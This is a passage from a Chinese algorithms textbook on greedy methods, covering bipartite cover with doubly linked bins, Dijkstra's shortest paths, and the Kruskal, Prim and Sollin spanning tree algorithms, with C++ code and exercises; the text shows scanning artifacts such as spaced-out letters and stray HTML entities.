如果利用最大堆，则每一步都需要重建堆来记录N e w值的变化，可以在每次N e w值减1时进行重建。这种减法操作可引起被减的N e w值最多在堆中向下移一层，因此这种重建对于每次N e w值减1需( 1 )的时间，总共的减操作数目为O (e)。因此在算法的所有步骤中，维持最大堆仅需O (e)的时间，因而利用最大堆时覆盖算法的总复杂性为O (n2 )或O (n+e)。

若利用最大选择树，每次更新N e w值时需要重建选择树，所需时间为(log S i z e O f A)。重建的最好时机是在每步结束时，而不是在每次N e w值减1时，需要重建的次数为O (e)，因此总的重建时间为O (e log S i z e OfA)，这个时间比最大堆的重建时间长一些。然而，通过维持具有相同N e w值的顶点箱子，也可获得和利用最大堆时相同的时间限制。由于N e w的取值范围为0到S i z e O f B，需要S i z e O f B+ 1个箱子，箱子i 是一个双向链表，链接所有N e w值为i 的顶点。在某一步结束时，假如N e w [ 6 ]从1 2变到4，则需要将它从第1 2个箱子移到第4个箱子。利用模拟指针及一个节点数组n o d e（其中n o d e [ i ]代表顶点i，n o d e [ i ] . l e f t和n o d e [ i ] . r i g h t为双向链表指针），可将顶点6从第1 2个箱子移到第4个箱子，从第1 2个箱子中删除n o d e [ 0 ]并将其插入第4个箱子。利用这种箱子模式，可得覆盖启发式算法的复杂性为O (n2 )或O(n+e)。（取决于利用邻接矩阵还是线性表来描述图）。

3. 双向链接箱子的实现

为了实现上述双向链接箱子，图1 - 9定义了类U n d i r e c t e d的私有成员。N o d e Ty p e是一个具有私有整型成员l e f t和r i g h t的类，它的数据类型是双向链表节点，程序1 3 - 3给出了U n d i r e c t e d的私有成员的代码。

void CreateBins (int b, int n)

创建b个空箱子和n个节点

void DestroyBins() { delete [] node;

delete [] bin;}

void InsertBins(int b, int v)

在箱子b中添加顶点v

void MoveBins(int bMax, int ToBin, int v)

从当前箱子中移动顶点v到箱子To B i n

int *bin;

b i n [ i ]指向代表该箱子的双向链表的首节点

N o d e Type *node;

n o d e [ i ]代表存储顶点i的节点

图1-9 实现双向链接箱子所需的U n d i r e c t e d私有成员

程序13-3 箱子函数的定义

void Undirected::CreateBins(int b, int n)

{// 创建b个空箱子和n个节点

node = new NodeType [n+1];

bin = new int [b+1];

// 将箱子置空

for (int i = 1; i <= b; i++)

bin[i] = 0;

}

void Undirected::InsertBins(int b, int v)

{// 若b不为０，则将v 插入箱子b

if (!b) return; // b为0，不插入

node[v].left = b; // 添加在左端

if (bin[b]) node[bin[b]].left = v;

node[v].right = bin[b];

bin[b] = v;

}

void Undirected::MoveBins(int bMax, int ToBin, int v)

{// 将顶点v 从其当前所在箱子移动到To B i n .

// v的左、右节点

int l = node[v].left;

int r = node[v].right;

// 从当前箱子中删除

if (r) node[r].left = node[v].left;

if (l > bMax || bin[l] != v) // 不是最左节点

node[l].right = r;

else bin[l] = r; // 箱子l的最左边

// 添加到箱子To B i n

I n s e r t B i n s ( ToBin, v);

}

函数C r e a t e B i n s动态分配两个数组： n o d e和b i n，n o d e [i ]表示顶点i, bin[i ]指向其N e w值为i的双向链表的顶点, f o r循环将所有双向链表置为空。如果b≠0，函数InsertBins 将顶点v 插入箱子b 中。因为b 是顶点v 的New 值，b = 0意味着顶点v 不能覆盖B中当前还未被覆盖的任何顶点，所以，在建立覆盖时这个箱子没有用处，故可以将其舍去。当b≠0时，顶点n 加入New 值为b 的双向链表箱子的最前面，这种加入方式需要将node[v] 加入bin[b] 中第一个节点的左边。由于表的最左节点应指向它所属的箱子，因此将它的node[v].left 置为b。若箱子不空，则当前第一个节点的left 指针被置为指向新节点。node[v] 的右指针被置为b i n [ b ]，其值可能为0或指向上一个首节点的指针。最后， b i n [ b ]被更新为指向表中新的第一个节点。MoveBins 将顶点v 从它在双向链表中的当前位置移到New 值为ToBin 的位置上。其中存在bMa x，使得对所有的箱子b i n[ j ]都有：如j>bMa x，则b i n [ j ]为空。代码首先确定n o d e [ v ]在当前双向链表中的左右节点，接着从双链表中取出n o d e [ v ]，并利用I n s e r t B i n s函数将其重新插入到b i n [ To B i n ]中。

4. Undirected::BipartiteCover的实现

函数的输入参数L用于分配图中的顶点（分配到集合A或B）。L [i ] = 1表示顶点i在集合A中，L[ i ] = 2则表示顶点在B中。函数有两个输出参数： C和m，m为所建立的覆盖的大小， C [ 0 , m - 1 ]是A中形成覆盖的顶点。若二分图没有覆盖，函数返回f a l s e；否则返回t r u e。完整的代码见程序1 3 - 4。

程序13-4 构造贪婪覆盖

bool Undirected::BipartiteCover(int L[], int C[], int& m)

{// 寻找一个二分图覆盖

// L 是输入顶点的标号, L[i] = 1 当且仅当i 在Ａ中

// C 是一个记录覆盖的输出数组

// 如果图中不存在覆盖，则返回f a l s e

// 如果图中有一个覆盖，则返回t r u e ;

// 在m中返回覆盖的大小; 在C [ 0 : m - 1 ]中返回覆盖

int n = Ve r t i c e s ( ) ;

// 插件结构

int SizeOfA = 0;

for (int i = 1; i <= n; i++) // 确定集合A的大小

if (L[i] == 1) SizeOfA++;

int SizeOfB = n - SizeOfA;

CreateBins(SizeOfB, n);

int *New = new int [n+1]; / /顶点i覆盖了Ｂ中N e w [ i ]个未被覆盖的顶点

bool *Change = new bool [n+1]; // Change[i]为t r u e当且仅当New[i] 已改变

bool *Cov = new bool [n+1]; // Cov[i] 为true 当且仅当顶点i 被覆盖

I n i t i a l i z e P o s ( ) ;

LinkedStack<int> S;

// 初始化

for (i = 1; i <= n; i++) {

Cov[i] = Change[i] = false;

if (L[i] == 1) {// i 在A中

New[i] = Degree(i); // i 覆盖了这么多

InsertBins(New[i], i);}}

// 构造覆盖

int covered = 0, // 被覆盖的顶点

MaxBin = SizeOfB; // 可能非空的最大箱子

m = 0; // C的游标

while (MaxBin > 0) { // 搜索所有箱子

// 选择一个顶点

if (bin[MaxBin]) { // 箱子不空

int v = bin[MaxBin]; // 第一个顶点

C[m++] = v; // 把v 加入覆盖

// 标记新覆盖的顶点

int j = Begin(v), k;

while (j) {

if (!Cov[j]) {// j尚未被覆盖

Cov[j] = true;

c o v e r e d + + ;

// 修改N e w

k = Begin(j);

while (k) {

New[k]--; // j 不计入在内

if (!Change[k]) {

S.Add(k); // 仅入栈一次

Change[k] = true;}

k = NextVe r t e x ( j ) ; }

}

j = NextVe r t e x ( v ) ; }

// 更新箱子

while (!S.IsEmpty()) {

S . D e l e t e ( k ) ;

Change[k] = false;

MoveBins(SizeOfB, New[k], k);}

}

else MaxBin--;

}

D e a c t i v a t e P o s ( ) ;

D e s t r o y B i n s ( ) ;

delete [] New;

delete [] Change;

delete [] Cov;

return (covered == SizeOfB);

}

程序1 3 - 4首先计算出集合A和B的大小、初始化必要的双向链表结构、创建三个数组、初始化图遍历器、并创建一个栈。然后将数组C o v和C h a n g e初始化为f a l s e，并将A中的顶点根据它们覆盖B中顶点的数目插入到相应的双向链表中。

为了构造覆盖，首先按SizeOfB 递减至1的顺序检查双向链表。当发现一个非空的表时，就将其第一个顶点v 加入到覆盖中，这种策略即为选择具有最大New 值的顶点。将所选择的顶点加入覆盖数组C并检查B中所有与它邻接的顶点。若顶点j 与v 邻接且还未被覆盖，则将C o v [ j ]置为t r u e，表示顶点j 现在已被覆盖，同时将已被覆盖的B中的顶点数目加1。由于j 是最近被覆盖的，所有A中与j 邻接的顶点的New 值减1。下一个while 循环降低这些New 值并将New 值被降低的顶点保存在一个栈中。当所有与顶点v邻接的顶点的Cov 值更新完毕后，N e w值反映了A中每个顶点所能覆盖的新的顶点数，然而A中的顶点由于New 值被更新，处于错误的双向链表中，下一个while 循环则将这些顶点移到正确的表中。

1.3.5 单源最短路径

在这个问题中，给出有向图G，它的每条边都有一个非负的长度（耗费） a [i ][ j ]，路径的长度即为此路径所经过的边的长度之和。对于给定的源顶点s，需找出从它到图中其他任意顶点（称为目的）的最短路径。图13-10a 给出了一个具有五个顶点的有向图，各边上的数即为长度。假设源顶点s 为1，从顶点1出发的最短路径按路径长度顺序列在图13-10b 中，每条路径前面的数字为路径的长度。

利用E. Dijkstra发明的贪婪算法可以解决最短路径问题，它通过分步方法求出最短路径。每一步产生一个到达新的目的顶点的最短路径。下一步所能达到的目的顶点通过如下贪婪准则选取：在还未产生最短路径的顶点中，选择路径长度最短的目的顶点。也就是说， D i j k s t r a的方法按路径长度顺序产生最短路径。

首先最初产生从s 到它自身的路径，这条路径没有边，其长度为0。在贪婪算法的每一步中，产生下一个最短路径。一种方法是在目前已产生的最短路径中加入一条可行的最短的边，结果产生的新路径是原先产生的最短路径加上一条边。这种策略并不总是起作用。另一种方法是在目前产生的每一条最短路径中，考虑加入一条最短的边，再从所有这些边中先选择最短的，这种策略即是D i j k s t r a算法。

可以验证按长度顺序产生最短路径时，下一条最短路径总是由一条已产生的最短路径加上一条边形成。实际上，下一条最短路径总是由已产生的最短路径再扩充一条最短的边得到的，且这条路径所到达的顶点其最短路径还未产生。例如在图1 3 - 1 0中，b 中第二条路径是第一条路径扩充一条边形成的；第三条路径则是第二条路径扩充一条边；第四条路径是第一条路径扩充一条边；第五条路径是第三条路径扩充一条边。

通过上述观察可用一种简便的方法来存储最短路径。可以利用数组p，p [ i ]给出从s 到达i的路径中顶点i 前面的那个顶点。在本例中p [ 1 : 5 ] = [ 0 , 1 , 1 , 3 , 4 ]。从s 到顶点i 的路径可反向创建。从i 出发按p[i],p[p[i]],p[p[p[i]]], .的顺序，直到到达顶点s 或0。在本例中，如果从i = 5开始，则顶点序列为p[i]=4, p[4]=3, p[3]=1=s，因此路径为1 , 3 , 4 , 5。

为能方便地按长度递增的顺序产生最短路径，定义d [ i ]为在已产生的最短路径中加入一条最短边的长度，从而使得扩充的路径到达顶点i。最初，仅有从s 到s 的一条长度为0的路径，这时对于每个顶点i，d [ i ]等于a [ s ] [ i ]（a 是有向图的长度邻接矩阵）。为产生下一条路径，需要选择还未产生最短路径的下一个节点，在这些节点中d值最小的即为下一条路径的终点。当获得一条新的最短路径后，由于新的最短路径可能会产生更小的d值，因此有些顶点的d值可能会发生变化。

综上所述，可以得到图1 3 - 11所示的伪代码， 1) 将与s 邻接的所有顶点的p 初始化为s，这个初始化用于记录当前可用的最好信息。也就是说，从s 到i 的最短路径，即是由s到它自身那条路径再扩充一条边得到。当找到更短的路径时， p [ i ]值将被更新。若产生了下一条最短路径，需要根据路径的扩充边来更新d 的值。

1) 初始化d[i ] =a[s] [i ]（1≤i≤n），

对于邻接于s的所有顶点i，置p[i ] =s, 对于其余的顶点置p[i ] = 0；

对于p[i]≠0的所有顶点建立L表。

2) 若L为空，终止，否则转至3 )。

3) 从L中删除d值最小的顶点。

4) 对于与i 邻接的所有还未到达的顶点j，更新d[ j ]值为m i n{d[ j ], d[i ] +a[i ][ j ] }；若d[ j ]发生了变化且j 还未

在L中，则置p[ j ] = 1，并将j 加入L，转至2。

图1 - 11 最短路径算法的描述

1. 数据结构的选择

我们需要为未到达的顶点列表L选择一个数据结构。从L中可以选出d 值最小的顶点。如果L用最小堆（见9 . 3节）来维护，则这种选取可在对数时间内完成。由于3) 的执行次数为O ( n )，所以所需时间为O ( n l o g n )。由于扩充一条边产生新的最短路径时，可能使未到达的顶点产生更小的d 值，所以在4) 中可能需要改变一些d 值。虽然算法中的减操作并不是标准的最小堆操作，但它能在对数时间内完成。由于执行减操作的总次数为： O(有向图中的边数)= O ( n2 )，因此执行减操作的总时间为O ( n2 l o g n )。

若L用无序的链表来维护，则3) 与4) 花费的时间为O ( n2 )，3) 的每次执行需O(|L | ) =O( n )的时间，每次减操作需( 1 )的时间（需要减去d[j] 的值，但链表不用改变）。利用无序链表将图1 - 11的伪代码细化为程序1 3 - 5，其中使用了C h a i n (见程序3 - 8 )和C h a i n I t e r a t o r类（见程序3 - 1 8）。

程序13-5 最短路径程序

template<class T>

void AdjacencyWDigraph<T>::ShortestPaths(int s, T d[], int p[])

{// 寻找从顶点s出发的最短路径, 在d中返回最短距离

// 在p中返回前继顶点

if (s < 1 || s > n) throw OutOfBounds();

Chain<int> L; // 路径可到达顶点的列表

ChainIterator<int> I;

// 初始化d, p, L

for (int i = 1; i <= n; i++){

d[i] = a[s][i];

if (d[i] == NoEdge) p[i] = 0;

else {p[i] = s;

L . I n s e r t ( 0 , i ) ; }

}

// 更新d, p

while (!L.IsEmpty()) {// 寻找具有最小d的顶点v

int *v = I.Initialize(L);

int *w = I.Next();

while (w) {

if (d[*w] < d[*v]) v = w;

w = I.Next();}

// 从L中删除通向顶点v的下一最短路径并更新d

int i = *v;

L . D e l e t e ( * v ) ;

for (int j = 1; j <= n; j++) {

if (a[i][j] != NoEdge && (!p[j] ||

d[j] > d[i] + a[i][j])) {

// 减小d [ j ]

d[j] = d[i] + a[i][j];

// 将j加入L

if (!p[j]) L.Insert(0,j);

p[j] = i;}

}

}

}

若N o E d g e足够大，使得没有最短路径的长度大于或等于N o E d g e，则最后一个for 循环的i f条件可简化为：if (d[j] > d[i] + a[i][j])) NoEdge 的值应在能使d[j]+a[i][j] 不会产生溢出的范围内。

2. 复杂性分析

程序1 3 - 5的复杂性是O ( n2 )，任何最短路径算法必须至少对每条边检查一次，因为任何一条边都有可能在最短路径中。因此这种算法的最小可能时间为O ( e )。由于使用耗费邻接矩阵来描述图，仅决定哪条边在有向图中就需O ( n2 )的时间。因此，采用这种描述方法的算法需花费O ( n2 )的时间。不过程序1 3 - 5作了优化（常数因子级）。即使改变邻接表，也只会使最后一个f o r循环的总时间降为O ( e )（因为只有与i 邻接的顶点的d 值改变）。从L中选择及删除最小距离的顶点所需总时间仍然是O( n2 )。

1.3.6 最小耗费生成树

在例1 - 2及1 - 3中已考察过这个问题。因为具有n 个顶点的无向网络G的每个生成树刚好具有n-1条边，所以问题是用某种方法选择n-1条边使它们形成G的最小生成树。至少可以采用三种不同的贪婪策略来选择这n-1条边。这三种求解最小生成树的贪婪算法策略是： K r u s k a l算法，P r i m算法和S o l l i n算法。

1. Kruskal算法

(1) 算法思想

K r u s k a l算法每次选择n- 1条边，所使用的贪婪准则是：从剩下的边中选择一条不会产生环路的具有最小耗费的边加入已选择的边的集合中。注意到所选取的边若产生环路则不可能形成一棵生成树。K r u s k a l算法分e 步，其中e 是网络中边的数目。按耗费递增的顺序来考虑这e 条边，每次考虑一条边。当考虑某条边时，若将其加入到已选边的集合中会出现环路，则将其抛弃，否则，将它选入。

考察图1-12a 中的网络。初始时没有任何边被选择。图13-12b 显示了各节点的当前状态。边（ 1 , 6）是最先选入的边，它被加入到欲构建的生成树中，得到图1 3 - 1 2 c。下一步选择边（ 3，4）并将其加入树中（如图1 3 - 1 2 d所示）。然后考虑边( 2，7 )，将它加入树中并不会产生环路，于是便得到图1 3 - 1 2 e。下一步考虑边（ 2，3）并将其加入树中（如图1 3 - 1 2 f所示）。在其余还未考虑的边中，（7，4）具有最小耗费，因此先考虑它，将它加入正在创建的树中会产生环路，所以将其丢弃。此后将边（ 5，4）加入树中，得到的树如图13-12g 所示。下一步考虑边（ 7，5），由于会产生环路，将其丢弃。最后考虑边（ 6，5）并将其加入树中，产生了一棵生成树，其耗费为9 9。图1 - 1 3给出了K r u s k a l算法的伪代码。

/ /在一个具有n 个顶点的网络中找到一棵最小生成树

令T为所选边的集合，初始化T=

令E 为网络中边的集合

w h i l e(E≠ )&&(| T |≠n- 1 ) {

令(u,v)为E中代价最小的边

E=E- { (u,v) } / /从E中删除边

i f( (u,v)加入T中不会产生环路)将（ u,v）加入T

}

i f(| T | = =n-1) T是最小耗费生成树

e l s e 网络不是互连的，不能找到生成树

图13-13 Kruskao算法的伪代码

(2) 正确性证明

利用前述装载问题所用的转化技术可以证明图1 3 - 1 3的贪婪算法总能建立一棵最小耗费生成树。需要证明以下两点： 1) 只要存在生成树，K r u s k a l算法总能产生一棵生成树； 2) 产生的生成树具有最小耗费。令G为任意加权无向图（即G是一个无向网络）。从1 2 . 11 . 3节可知当且仅当一个无向图连通时它有生成树。而且在Kruskal 算法中被拒绝（丢弃）的边是那些会产生环路的边。删除连通图环路中的一条边所形成的图仍是连通图，因此如果G在开始时是连通的，则T与E中的边总能形成一个连通图。也就是若G开始时是连通的，算法不会终止于E= 和| T |< n- 1。

现在来证明所建立的生成树T具有最小耗费。由于G具有有限棵生成树，所以它至少具有一棵最小生成树。令U为这样的一棵最小生成树， T与U都刚好有n- 1条边。如果T=U, 则T就具有最小耗费，那么不必再证明下去。因此假设T≠U，令k(k >0) 为在T中而不在U中的边的个数，当然k 也是在U中而不在T中的边的数目。

通过把U变换为T来证明U与T具有相同的耗费，这种转化可在k 步内完成。每一步使在T而不在U中的边的数目刚好减1。而且U的耗费不会因为转化而改变。经过k 步的转化得到的U将与原来的U具有相同的耗费，且转化后U中的边就是T中的边。由此可知， T具有最小耗费。每步转化包括从T中移一条边e 到U中，并从U中移出一条边f。边e 与f 的选取按如下方式进行：

1) 令e 是在T中而不在U中的具有最小耗费的边。由于k >0，这条边肯定存在。

2) 当把e 加入U时，则会形成唯一的一条环路。令f 为这条环路上不在T中的任意一条边。

由于T中不含环路，因此所形成的环路中至少有一条边不在T中。

从e 与f 的选择方法中可以看出， V=U+ {e} -{ f } 是一棵生成树，且T中恰有k- 1条边不在V中出现。现在来证明V的耗费与U的相同。显然，V的耗费等于U的耗费加上边e 的耗费再减去边f 的耗费。若e 的耗费比f 的小，则生成树V的耗费比U的耗费小，这是不可能的。如果e 的耗费高于f，在K r u s k a l算法中f 会在e 之前被考虑。由于f 不在T中，Kruskal 算法在考虑f 能否加入T时已将f 丢弃，因此f 和T中耗费小于或等于f 的边共同形成环路。通过选择e，所有这些边均在U中，因此U肯定含有环路，但是实际上这不可能，因为U是一棵生成树。e 的代价高于f 的假设将会导致矛盾。剩下的唯一的可能是e 与f 具有相同的耗费，由此可知V与U的耗费相同。

(3) 数据结构的选择及复杂性分析

为了按耗费非递减的顺序选择边，可以建立最小堆并根据需要从堆中一条一条地取出各边。当图中有e 条边时，需花(e) 的时间初始化堆及O ( l o ge) 的时间来选取每一条边。边的集合T与G中的顶点一起定义了一个由至多n 个连通子图构成的图。用顶点集合来描述每个子图，这些顶点集合没有公共顶点。为了确定边（ u,v）是否会产生环路，仅需检查u,v 是否在同一个顶点集中（即处于同一子图）。如果是，则会形成一个环路；如果不是，则不会产生环路。因此对于顶点集使用两个F i n d操作就足够了。当一条边包含在T中时，2个子图将被合并成一个子图，即对两个集合执行U n i o n操作。集合的F i n d和U n i o n操作可利用8 . 1 0 . 2节的树（以及加权规则和路径压缩）来高效地执行。F i n d操作的次数最多为2e，Un i o n操作的次数最多为n- 1（若网络是连通的，则刚好是n- 1次）。加上树的初始化时间，算法中这部分的复杂性只比O (n+e) 稍大一点。

对集合T所执行的唯一操作是向T中添加一条新边。T可用数组t 来实现。添加操作在数组

的一端进行，因为最多可在T中加入n- 1条边，因此对T的操作总时间为O (n)。

总结上述各个部分的执行时间，可得图1 3 - 1 3算法的渐进复杂性为O (n+el o ge)。

(4) 实现

利用上述数据结构，图1 - 1 3可用C + +代码来实现。首先定义E d g e N o d e类（见程序1 3 - 6 )，它是最小堆的元素及生成树数组t 的数据类型。

程序13-6 Kruskal算法所需要的数据类型

template <class T>

class EdgeNode {

p u b l i c :

operator T() const {return weight;}

p r i v a t e :

T weight;//边的高度

int u, v;//边的端点

} ;

为了更简单地使用8 . 1 0 . 2节的查找和合并策略，定义了U n i o n F i n d类，它的构造函数是程序8 - 1 6的初始化函数，U n i o n是程序8 - 1 6的加权合并函数，F i n d是程序8 - 1 7的路径压缩搜索函数。

为了编写与网络描述无关的代码，还定义了一个新的类U N e t Wo r k，它包含了应用于无向网络的所有函数。这个类与U n d i r e c t e d类的差别在于U n d i r e c t e d类中的函数不要求加权边，而U N e t Wo r k要求边必须带有权值。U N e t Wo r k中的成员需要利用N e t w o r k类中定义的诸如B e g i n和N e x t Ve r t e x的遍历函数。不过，新的遍历函数不仅需要返回下一个邻接的顶点，而且要返回到达这个顶点的边的权值。这些遍历函数以及有向和无向加权网络的其他函数一起构成了W N e t w o r k类（见程序1 3 - 7）。

程序13-7 WNetwork类

template<class T>

class WNetwork : virtual public Network

{

public :

virtual void First(int i, int& j, T& c)=0;

virtual void Next(int i, int& j, T& c)=0;

} ;

象B e g i n和N e x t Ve r t e x一样，可在A d j a c e n c y W D i g r a p h及L i n k e d W D i g r a p h类中加入函数F i r s t与N e x t。现在A d j a c e n c y W D i g r a p h及L i n k e d W D i g r a p h类都需要从W N e t Wo r k中派生而来。由于A d j a c e n c y W G r a p h类和L i n k e d W G r a p h类需要访问U N e t w o r k的成员，所以这两个类还必须从U N e t Wo r k中派生而来。U N e t Wo r k : : K r u s k a l的代码见程序1 3 - 8，它要求将Edges() 定义为N e t Work 类的虚成员，并且把U N e t Wo r k定义为E d g e N o d e的友元）。如果没有生成树，函数返回f a l s e，否则返回t r u e。注意当返回true 时，在数组t 中返回最小耗费生成树。

程序13-8 Kr u s k a l算法的C + +代码

template<class T>

bool UNetwork<T>::Kruskal(EdgeNode<T> t[])

{// 使用K r u s k a l算法寻找最小耗费生成树

// 如果不连通则返回false

// 如果连通，则在t [ 0 : n - 2 ]中返回最小生成树

int n = Ve r t i c e s ( ) ;

int e = Edges();

/ /设置网络边的数组

InitializePos(); // 图遍历器

EdgeNode<T> *E = new EdgeNode<T> [e+1];

int k = 0; // E的游标

for (int i = 1; i <= n; i++) { // 使所有边附属于i

int j;

T c;

First(i, j, c);

while (j) { // j 邻接自i

if (i < j) {// 添加到达E的边

E[++k].weight = c;

E[k].u = i;

E[k].v = j;}

Next(i, j, c);

}

}

// 把边放入最小堆

MinHeap<EdgeNode<T> > H(1);

H.Initialize(E, e, e);

UnionFind U(n); // 合并/搜索结构

// 根据耗费的次序来抽取边

k = 0; // 此时作为t的游标

while (e && k < n - 1) {

// 生成树未完成，尚有剩余边

EdgeNode<T> x;

H.DeleteMin(x); // 最小耗费边

e - - ;

int a = U.Find(x.u);

int b = U.Find(x.v);

if (a != b) {// 选择边

t[k++] = x;

U . U n i o n ( a , b ) ; }

}

D e a c t i v a t e P o s ( ) ;

H . D e a c t i v a t e ( ) ;

return (k == n - 1);

}

2. Prim算法

与Kr u s k a l算法类似，P r i m算法通过每次选择多条边来创建最小生成树。选择下一条边的贪婪准则是：从剩余的边中，选择一条耗费最小的边，并且它的加入应使所有入选的边仍是一棵树。最终，在所有步骤中选择的边形成一棵树。相反，在Kruskal 算法中所有入选的边集合最终形成一个森林。

P r i m算法从具有一个单一顶点的树T开始，这个顶点可以是原图中任意一个顶点。然后往T中加入一条代价最小的边（ u , v）使T&Egrave;{ (u , v) }仍是一棵树，这种加边的步骤反复循环直到T中包含n- 1条边。注意对于边（ u , v），u、v 中正好有一个顶点位于T中。P r i m算法的伪代码如图1 -1 4所示。在伪代码中也包含了所输入的图不是连通图的可能，在这种情况下没有生成树。图1 - 1 5显示了对图1-12a 使用P r i m算法的过程。把图1 - 1 4的伪代码细化为C + +程序及其正确性的证明留作练习（练习3 1）。

/ /假设网络中至少具有一个顶点

设T为所选择的边的集合，初始化T=

设T V为已在树中的顶点的集合，置T V= { 1 }

令E为网络中边的集合

w h i l e(E< > ) & & (| T | < > n-1) {

令（u , v）为最小代价边，其中u T V, v T V

i f（没有这种边） b re a k

E=E- { (u,v) } / /从E中删除此边

在T中加入边（ u , v）

}

if (| T | = =n- 1 ) T是一棵最小生成树

else 网络是不连通的，没有最小生成树

图13-14 Prim最小生成树算法

如果根据每个不在T V中的顶点v 选择一个顶点n e ar (v)，使得n e ar (v) &Icirc; TV 且c o st (v, n e ar (v) )的值是所有这样的n e ar (v) 节点中最小的，则实现P r i m算法的时间复杂性为O (n2 )。下一条添加到T中的边是这样的边：其cost (v, near (v)) 最小，且v T V。

3. Sollin算法

S o l l i n算法每步选择若干条边。在每步开始时，所选择的边及图中的n个顶点形成一个生成树的森林。在每一步中为森林中的每棵树选择一条边，这条边刚好有一个顶点在树中且边的代价最小。将所选择的边加入要创建的生成树中。注意一个森林中的两棵树可选择同一条边，因此必须多次复制同一条边。当有多条边具有相同的耗费时，两棵树可选择与它们相连的不同的边，在这种情况下，必须丢弃其中的一条边。开始时，所选择的边的集合为空。若某一步结束时仅剩下一棵树或没有剩余的边可供选择时算法终止。

图1 - 6给出了初始状态为图1-12a 时，使用S o l l i n算法的步骤。初始入选边数为0时的情形如图13-12a 时,森林中的每棵树均是单个顶点。顶点1，2，.，7所选择的边分别是(1.6), (2,7),(3,4), (4,3), (5,4), (6,1), (7,2)，其中不同的边是( 1 , 6 )，( 2 , 7 )，(3,4) 和( 5 , 4 )，将这些边加入入选边的集合后所得到的结果如图1 3 - 1 6 a所示。下一步具有顶点集{ 1 , 6 }的树选择边( 6 , 5 )，剩下的两棵树选择边( 2 , 3 )，加入这两条边后已形成一棵生成树，构建好的生成树见图1 3 - 6 b。S o l l i n算法的C + +程序实现及其正确性证明留作练习（练习3 2 )。

练习

8. 针对装载问题，扩充贪婪算法，考虑有两条船的情况，算法总能产生最优解吗？

9. 已知n 个任务的执行序列。假设任务i 需要ti 个时间单位。若任务完成的顺序为1，2，.，n，则任务i 完成的时间为ci =i &aring;j = 1tj 。任务的平均完成时间（Av e rge Completion Time, ACT）

为1-nn &aring;i = 1ci 。

1) 考虑有四个任务的情况，每个任务所需时间分别是（ 4，2，8，1）。若任务的顺序为1，2，3，4，则A C T是多少？

2) 若任务顺序为2，1，4，3，则A C T是多少？

3) 创建具有最小A C T的任务序列的贪婪算法分n 步来构造该任务序列，在每一步中，从剩下的任务里选择时间最小的任务。对于1 )，利用这种策略获得的任务顺序为4，2，1，3，这种顺序的A C T是多少？

4) 写一个C + +程序实现3) 中的贪婪策略，程序的复杂性应为O (nl o gn)，试证明之。

5) 证明利用3) 中的贪婪算法获得的任务顺序具有最小的A C T。

10. 若有两个工人执行练习9中的n个任务，需将任务分配给他们，同时他们具有自己的任务执行顺序。任务完成时间及A C T的定义同练习9。使A C T最小化的一种可行的贪婪算法是：两个工人轮流选择任务，每次从剩余的任务中选择时间最小的任务。每个人按照自己所选任务的顺序执行任务。对于练习9中的例子，假定工人1首先选择任务4，然后工人2选择任务2，工人1选择任务1，最后工人2选择任务3。

1) 利用C + +程序实现这种策略，其时间复杂性为多少？

2) 上述的贪婪策略总能获得最小的A C T吗？证明结论。

11. 1) 考虑有m 个人可以执行任务，扩充练习1 0中的贪婪算法。

2) 算法能保证获得最优解吗？证明结论。

3) 用C + +程序实现此算法，其复杂性是多少？

12. 考虑例4 - 4的堆栈折叠问题。

1) 设计一个贪婪算法，将堆栈折叠为最小数目的子堆栈，使得每个子堆栈的高度均不超过H。

2) 算法总能保证得到数目最少的子堆栈吗？证明结论。

3) 用C + +代码实现1) 的算法。

4) 代码的时间复杂性是多少？

13. 编写C + +程序实现0 / 1背包问题，使用如下启发式方法：按价值密度非递减的顺序打包。

14. 根据k= 1的性能受限启发式方法编写一个C + +程序来实现0 / 1背包问题。

15. 对于k= 1的情况证明用性能受限的启发式方法求解0 / 1背包问题会发生边界错误。

16. 根据k= 2的性能受限启发式方法编写一个C + +程序来实现0 / 1背包问题。

17. 考虑0≤xi ≤1而不是xi &Icirc;{ 0 , 1 }的连续背包问题。一种可行的贪婪策略是：按价值密度非递减的顺序检查物品，若剩余容量能容下正在考察的物品，将其装入；否则，往背包中装入此物品的一部分。

1) 对于n=3, w=[100,10,10], p= [ 2 0 , 1 5 , 1 5 ]及c= 1 0 5 ,上述装入方法获得的结果是什么？

2) 证明这种贪婪算法总能获得最优解。

3) 用一个C + +程序实现此算法。

18. 例1 3 - 1的渴婴问题是练习1 7中连续背包问题的一般化，将练习1 7的贪婪算法用于渴婴问题，算法能保证总能得到最优解吗？证明结论。

19. 1) 证明当且仅当二分图没有覆盖时，图1 3 - 7的算法找不到覆盖。

2) 给出一个具有覆盖的二分图，使得图1 3 - 7的算法找不到最小覆盖。

20. 当第一步选择了顶点1时，给出图1 3 - 7的工作过程。

21. 对于二分图覆盖问题设计另外一种贪婪启发式方法，可使用如下贪婪准则：如果B中的某一个顶点仅被A中一个顶点覆盖，选择A中这个顶点；否则，从A中选择一个顶点，使得它所覆盖的未被覆盖的顶点数目最多。

1) 给出这种贪婪算法的伪代码。

2) 编写一个C + +函数作为U n d i r e c t e d类的成员来实现上述贪婪算法。

3) 函数的复杂性是多少？

4) 验证代码的正确性。

22. 令G为无向图，S为G中顶点的子集，当且仅当S中的任意两个顶点都有一条边相连时，S为完备子图（c l i q u e），完备子图的大小即S中的顶点数目。最大完备子图（ maximum clique）即具有最大项点数目的完备子图。在图中寻找最大完备子图的问题（即最大完备子图问题）是一个N P-复杂问题。

1) 给出最大完备子图问题的一种可行的贪婪算法及其伪代码。

2) 给出一个能用1) 中的启发式算法求解最大完备子图的图例，以及不能用该算法求解的一个图例。

3) 将1) 中的启发式算法实现为Undirected::Clique(int C, int m) 共享成员，其中最大完备子图的大小返回到m中，最大完备子图的顶点返回到C中。

4) 代码的复杂性是多少？

23. 令G为一无向图，S为G中顶点的子集，当且仅当S中任意两个顶点都无边相连时， S为无关集（independent set）。最大无关集即是顶点数目最多的无关集。在一幅图中寻找最大无关集是一个N P-复杂问题。按练习2 2的要求解决最大无关集问题。

24. 对无向图G着色的方法是：为G中的顶点编号（{ 1 , 2 ,.}），使得由一条边相连的两个顶点具有不同的编号。在图的着色问题中，要求利用最少的相互不同的颜色（编号）来给图G着色。图的着色问题也是一个N P-复杂问题。按练习2 2的要求解决图着色问题。

25. 证明当按路径长度的顺序产生一条最短路径时，所产生的下一条最短路径总是由已产生的一条最短路径扩充一条边得到。

26. 证明对于具有一条或多条具有负长度的边，图1 3 - 11的贪婪算法不一定能正确地计算出最短路径的长度。

27. 编写一个P a t h ( p , s , i )函数，利用函数S h o r t e s t P a t h s计算出的p 值，输出从顶点s到顶点i的一条最短路径。函数的复杂性是多少？

